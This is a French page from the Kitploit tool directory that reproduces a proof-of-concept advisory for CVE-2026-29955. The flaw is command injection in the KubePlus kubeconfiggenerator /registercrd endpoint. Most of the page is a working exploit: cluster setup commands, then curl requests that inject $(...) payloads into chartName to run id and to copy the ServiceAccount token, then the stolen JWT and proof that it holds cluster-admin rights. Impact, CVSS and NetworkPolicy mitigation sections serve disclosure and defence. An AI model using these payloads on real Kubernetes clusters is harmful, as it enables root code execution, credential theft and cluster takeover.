Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-29955 — Preuve de concept pour CVE-2026-29955, une vulnérabilité d'injection de commandes dans KubePlus kubeconfiggenerator permettant l'exécution de code à distance et le vol de jetons ServiceAccount dans les clusters Kubernetes. | Kitploit
Outils/GitHubGitHub/b0b0haha/cve-2026-29955
Sécurité des ConteneursAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionSécurité Cloud
GitHubb0b0haha/cve-2026-29955

CVE-2026-29955

Preuve de concept pour CVE-2026-29955, une vulnérabilité d'injection de commandes dans KubePlus kubeconfiggenerator permettant l'exécution de code à distance et le vol de jetons ServiceAccount dans les clusters Kubernetes.

Voir le dépôt
il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Vulnérabilité d'injection de commandes dans KubePlus KubeconfigGenerator

Cette vulnérabilité existe dans le composant kubeconfiggenerator de KubePlus, permettant à des attaquants ayant accès à l'interface HTTP d'injecter des commandes shell via le paramètre chartName, d'exécuter du code arbitraire en tant que root dans le conteneur, et de voler les jetons de ServiceAccount avec les privilèges cluster-admin. Classification CWE recommandée : CWE-78 (Injection de commandes système).

Résumé

Le point de terminaison /registercrd du composant kubeconfiggenerator de KubePlus est vulnérable à l'injection de commandes. Le composant utilise subprocess.Popen() avec le paramètre shell=True pour exécuter des commandes shell, et le paramètre chartName fourni par l'utilisateur est directement concaténé dans la chaîne de commande sans aucune assainissement ni validation. Un attaquant peut injecter des commandes shell arbitraires en élaborant une valeur malveillante pour le paramètre chartName.

Détails

Cause racine

Lors du traitement des demandes d'enregistrement CRD, le composant kubeconfiggenerator télécharge et extrait les charts Helm. Dans la fonction download_and_untar_chart(), le paramètre chartName est directement concaténé dans les commandes shell :

Fichier : deploy/kubeconfiggenerator.py:60-69

root@kitploit:~
def run_command(cmd):
    print(cmd)
    cmdOut = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).communicate()
    out = cmdOut[0].decode('utf-8')
    err = cmdOut[1].decode('utf-8')
    return out, err

Fichier : deploy/kubeconfiggenerator.py:554

root@kitploit:~
wget = "wget -O /" + charttgz + " --no-check-certificate " + chartLoc
out, err = run_command(wget)

Fichier : deploy/kubeconfiggenerator.py:562

root@kitploit:~
cmd = "rm -rf /" + chartName
out, err = run_command(cmd)

En raison du paramètre shell=True, les attaquants peuvent utiliser la syntaxe de substitution de commandes shell $(commande) pour injecter des commandes arbitraires.

Vecteur d'attaque

En envoyant une requête HTTP au point de terminaison /registercrd avec un paramètre chartName malveillant, un attaquant peut exécuter des commandes arbitraires dans le conteneur kubeconfiggenerator. Étant donné que le conteneur s'exécute en tant que root et que son ServiceAccount dispose des privilèges cluster-admin, l'attaquant peut :

  1. Exécuter des commandes système arbitraires
  2. Lire des fichiers sensibles dans le conteneur
  3. Voler les jetons de ServiceAccount
  4. Utiliser les jetons volés pour accéder à l'API Kubernetes

PoC

Configuration de l'environnement

1. Créer un cluster Kind

root@kitploit:~
# Créer la configuration du cluster Kind
cat > kind-config.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
name: kubeplus-test
nodes:
  - role: control-plane
EOF

# Créer le cluster
kind create cluster --config kind-config.yaml

# Vérifier le cluster
kubectl cluster-info
kubectl get nodes

Sortie attendue :

root@kitploit:~
Kubernetes control plane is running at https://127.0.0.1:xxxxx
CoreDNS is running at https://127.0.0.1:xxxxx/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy

NAME                          STATUS   ROLES           AGE   VERSION
kubeplus-test-control-plane   Ready    control-plane   1m    v1.27.3

2. Installer KubePlus

root@kitploit:~
# Créer le répertoire de travail
mkdir -p /tmp/kubeplus-poc && cd /tmp/kubeplus-poc

# Télécharger les plugins KubePlus
wget https://github.com/cloud-ark/kubeplus/releases/download/kubeplus-kubectl-plugins-v4.1.4/kubeplus-kubectl-plugins-v4.1.4.tar.gz
tar -xzf kubeplus-kubectl-plugins-v4.1.4.tar.gz

# Télécharger le script provider-kubeconfig
wget https://raw.githubusercontent.com/cloud-ark/kubeplus/master/requirements.txt
wget https://raw.githubusercontent.com/cloud-ark/kubeplus/master/provider-kubeconfig.py

# Configurer l'environnement Python
python3 -m venv venv
source venv/bin/activate
pip3 install -r requirements.txt
pip3 install PyYAML kubernetes

# Obtenir l'adresse du serveur API
apiserver=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')

# Créer le kubeconfig du fournisseur
python3 provider-kubeconfig.py -s $apiserver create default

Sortie attendue :

root@kitploit:~
Provider kubeconfig created: kubeplus-saas-provider.json

3. Installer KubePlus via Helm

root@kitploit:~
# Télécharger le chart Helm KubePlus
curl -sL "https://github.com/cloud-ark/operatorcharts/raw/master/kubeplus-chart-4.2.0.tgz" -o kubeplus-chart.tgz

# Installer KubePlus
helm install kubeplus kubeplus-chart.tgz --kubeconfig=kubeplus-saas-provider.json -n default

# Attendre que les pods soient prêts
kubectl wait --for=condition=Ready pod -l app=kubeplus -n default --timeout=180s

# Vérifier l'installation
kubectl get pods -n default -l app=kubeplus

Sortie attendue :

root@kitploit:~
NAME                                   READY   STATUS    RESTARTS   AGE
kubeplus-deployment-57dbf6f8b9-xxxxx   5/5     Running   0          2m

4. Configurer le transfert de port

root@kitploit:~
# Obtenir le nom du pod
export WEBHOOK_POD=$(kubectl get pods -n default -l app=kubeplus -o jsonpath='{.items[0].metadata.name}')

# Configurer le transfert de port
kubectl port-forward svc/kubeconfighelper -n default 5005:91 &

# Vérifier que le service est accessible
curl -s http://localhost:5005/hello

Sortie attendue :

root@kitploit:~
hello world

Étapes d'exploitation

Étape 1 : Exécuter l'injection de commande (commande id)

Envoyer une requête avec un paramètre chartName malveillant :

root@kitploit:~
curl -s 'http://localhost:5005/registercrd?kind=Test&version=v1&group=test.io&plural=tests&chartURL=https://example.com/test.tgz&chartName=$(id>/tmp/pwned.txt)'

Étape 2 : Vérifier l'exécution de la commande

root@kitploit:~
kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/pwned.txt

Sortie de vérification réelle :

root@kitploit:~
uid=0(root) gid=0(root) groups=0(root)

Étape 3 : Voler le jeton de ServiceAccount

root@kitploit:~
curl -s 'http://localhost:5005/registercrd?kind=Test2&version=v1&group=test2.io&plural=test2s&chartURL=https://example.com/test.tgz&chartName=$(cat%20/var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt)'

Étape 4 : Extraire le jeton volé

root@kitploit:~
kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/stolen-token.txt

Sortie de vérification réelle :

root@kitploit:~
eyJhbGciOiJSUzI1NiIsImtpZCI6Iklua3NNSkdubUtOcnZycUZkMGlJTE5meV9jVk85WFQxZ2dBZjVtOFJ0VncifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxODAxNDg5MjYyLCJpYXQiOjE3Njk5NTMyNjIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJrdWJlcGx1cy1kZXBsb3ltZW50LTU3ZGJmNmY4YjktcHh2YzUiLCJ1aWQiOiI4ZjBmNDQ0NS1mZTQ0LTQxMjUtYjEwMi03YzQzZDkyMjEyMmYifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6Imt1YmVwbHVzLXNhYXMtcHJvdmlkZXIiLCJ1aWQiOiJlZjljYjFmZi03NWI1LTRmZmMtYjdjMS01Yjc3NjhjNWFiYzQifSwid2FybmFmdGVyIjoxNzY5OTU2ODY5fSwibmJmIjoxNzY5OTUzMjYyLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDprdWJlcGx1cy1zYWFzLXByb3ZpZGVyIn0...

Étape 5 : Vérifier les permissions du jeton

root@kitploit:~
STOLEN_TOKEN=$(kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/stolen-token.txt)
kubectl auth can-i --list --token="$STOLEN_TOKEN"

Sortie de vérification réelle :

root@kitploit:~
Resources                                       Non-Resource URLs   Resource Names   Verbs
*.*                                             []                  []               [*]
                                                [*]                 []               [*]
selfsubjectreviews.authentication.k8s.io        []                  []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                  []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                  []               [create]

Preuves dans les journaux côté serveur

Les journaux du conteneur kubeconfiggenerator montrent l'exécution de l'injection de commande :

root@kitploit:~
[01/Feb/2026 13:49:32] Inside registercrd
kind:Test
version:v1
group:test.io
plural:tests
chartURL:https://example.com/test.tgz
download_and_untar_chart
wget command:wget -O /$(id>/tmp/pwned2.txt).tgz --no-check-certificate https://example.com/test.tgz
...
Deleting the previous chart folder:$(id>/tmp/pwned2.txt)
root@kitploit:~
[01/Feb/2026 13:49:56] Inside registercrd
kind:Test2
version:v1
group:test2.io
plural:test2s
chartURL:https://example.com/test.tgz
download_and_untar_chart
wget command:wget -O /$(cat /var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt).tgz --no-check-certificate https://example.com/test.tgz
...
Deleting the previous chart folder:$(cat /var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt)

Impact

Cette vulnérabilité permet à un attaquant de :

  1. Exécution de code à distance : Exécuter des commandes arbitraires en tant que root dans le conteneur kubeconfiggenerator
  2. Vol d'identifiants : Voler les jetons de ServiceAccount avec les privilèges cluster-admin (*.*)
  3. Prise de contrôle du cluster : Utiliser les jetons volés pour effectuer toute opération de l'API Kubernetes, y compris la création/suppression de pods, la lecture de secrets, la modification des configurations RBAC, etc.
  4. Mouvement latéral : Accéder aux ressources dans n'importe quel espace de noms du cluster

Prérequis

  • L'attaquant doit avoir accès à l'interface HTTP du service kubeconfighelper (port 5005)
  • Le service est accessible dans le cluster par défaut

Gravité

Score CVSS v3.1 : 8.8 (Élevé)

Vecteur : AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

  • Vecteur d'attaque (AV) : Réseau
  • Complexité de l'attaque (AC) : Faible
  • Privilèges requis (PR) : Faibles (nécessite un accès au service kubeconfighelper)
  • Interaction utilisateur (UI) : Aucune
  • Portée (S) : Inchangée
  • Confidentialité (C) : Élevée (peut voler le jeton de ServiceAccount)
  • Intégrité (I) : Élevée (peut exécuter des commandes arbitraires)
  • Disponibilité (A) : Élevée (peut affecter la disponibilité du service)

Versions affectées

  • KubePlus v4.2.0 et versions antérieures
  • Toutes les versions utilisant shell=True pour l'exécution de commandes

Versions corrigées

Aucune version corrigée disponible pour le moment.

Contournements

  1. Isolation réseau : Utiliser NetworkPolicy pour restreindre l'accès au service kubeconfighelper
  2. Restriction RBAC : Réduire les privilèges du ServiceAccount kubeplus-saas-provider
  3. Surveillance : Surveiller les exécutions de commandes anormales dans le conteneur kubeconfiggenerator
root@kitploit:~
# Exemple de NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: restrict-kubeconfighelper
  namespace: default
spec:
  podSelector:
    matchLabels:
      app: kubeplus
  policyTypes:
  - Ingress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          trusted: "true"
    ports:
    - protocol: TCP
      port: 5005

Références

  • CWE-78 : Neutralisation incorrecte d'éléments spéciaux utilisés dans une commande système ('Injection de commandes système')
  • OWASP Command Injection : https://owasp.org/www-community/attacks/Command_Injection
  • Sécurité de subprocess Python : https://docs.python.org/3/library/subprocess.html#security-considerations
  • Kubeplus : https://github.com/cloud-ark/kubeplus

Crédits

@b0b0haha ([email protected]) @lixingquzhi ([email protected])

Télécharger l’outil